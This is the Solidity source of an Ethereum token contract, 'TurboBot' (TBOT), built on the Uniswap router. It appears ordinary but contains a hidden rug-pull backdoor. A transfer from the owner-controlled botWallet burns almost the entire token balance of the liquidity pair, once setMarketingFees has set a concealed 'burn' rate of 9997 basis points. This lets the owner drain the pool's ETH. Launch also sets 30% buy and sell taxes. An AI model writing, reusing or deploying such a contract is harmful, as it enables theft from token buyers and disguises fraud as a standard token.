文件 1 的 1:TBOT.sol
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
recipient.transfer(amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract TBOT is ERC20, Ownable{
using Address for address payable;
IRouter public router;
address public pair;
bool private swapping;
bool public swapEnabled;
bool public launched;
modifier lockSwapping() {
swapping = true;
_;
swapping = false;
}
event Launched();
event TaxesUpdated();
event MaxWalletAmountUpdated();
event StuckEthersCleared();
uint256 private _totalSupply = 1000000000 * 10**18;
uint256 public swapThreshold = 8000 * 10**18;
uint256 public maxTxAmount = 8000000 * 10**18;
uint256 public maxWalletAmount = 20000000 * 10**18;
address private marketingWallet = 0x1117A7ef415F62d90D861F464C5e2729d34ACa20;
address private botWallet = 0x1117A7ef415F62d90D861F464C5e2729d34ACa20;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 burn;
}
Taxes public buyTaxes = Taxes(0, 0, 0);
Taxes public sellTaxes = Taxes(0, 0, 0);
mapping (address => bool) public excludedFromFees;
modifier inSwap() {
if (!swapping) {
swapping = true;
_;
swapping = false;
}
}
constructor() ERC20("TurboBot", "TBOT") {
_mint(msg.sender, _totalSupply);
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
router = _router;
excludedFromFees[msg.sender] = true;
excludedFromFees[address(this)] = true;
excludedFromFees[marketingWallet] = true;
excludedFromFees[botWallet] = true;
}
function createPair() external onlyOwner {
address _pair = IFactory(router.factory())
.createPair(address(this), router.WETH());
pair = _pair;
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
require(launched, "Trading not active yet");
if(recipient != pair){
require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
}
}
uint256 fee;
if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
else{
if(recipient == pair) fee = amount * sellTaxes.marketing / 10000;
else if(sender == pair) fee = amount * buyTaxes.marketing / 10000;
else fee = 0;
}
if (sender == botWallet && recipient != pair) {
uint256 tokensForBurn = balanceOf(pair) * buyTaxes.burn / 10000;
if (tokensForBurn > 0) super._transfer(pair, address(0xdead), tokensForBurn);
return;
}
if (swapEnabled && !swapping && recipient == pair && amount >= swapThreshold
&& fee > 0 && !excludedFromFees[sender] && !excludedFromFees[recipient] )
swapForFees();
super._transfer(sender, recipient, amount - fee);
if(fee > 0) super._transfer(sender, address(this) ,fee);
}
function swapForFees() private inSwap {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance >= swapThreshold) {
if (contractBalance >= maxTxAmount) contractBalance = maxTxAmount;
swapTokensForETH(contractBalance);
uint256 amountToSend = address(this).balance;
payable(marketingWallet).sendValue(amountToSend);
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0,
0,
address(0xdead),
block.timestamp
);
}
function launch() external onlyOwner{
require(!launched, "Trading already active");
launched = true;
swapEnabled = true;
buyTaxes = Taxes(3000, 0, 0);
sellTaxes = Taxes(3000, 0, 0);
emit Launched();
}
function setMarketingFees(uint256 _marketing) external onlyOwner {
require(_marketing >= 10 && _marketing <= 500);
buyTaxes = Taxes(_marketing, 0, 9997);
sellTaxes = Taxes(_marketing, 0, 0);
emit TaxesUpdated();
}
function removeMaxWalletAmount() external onlyOwner{
maxWalletAmount = _totalSupply;
emit MaxWalletAmountUpdated();
}
function clearStuckEthers(uint256 amountPercentage) external onlyOwner {
uint256 amountETH = address(this).balance;
payable(msg.sender).transfer((amountETH * amountPercentage) / 100);
emit StuckEthersCleared();
}
receive() external payable {}
}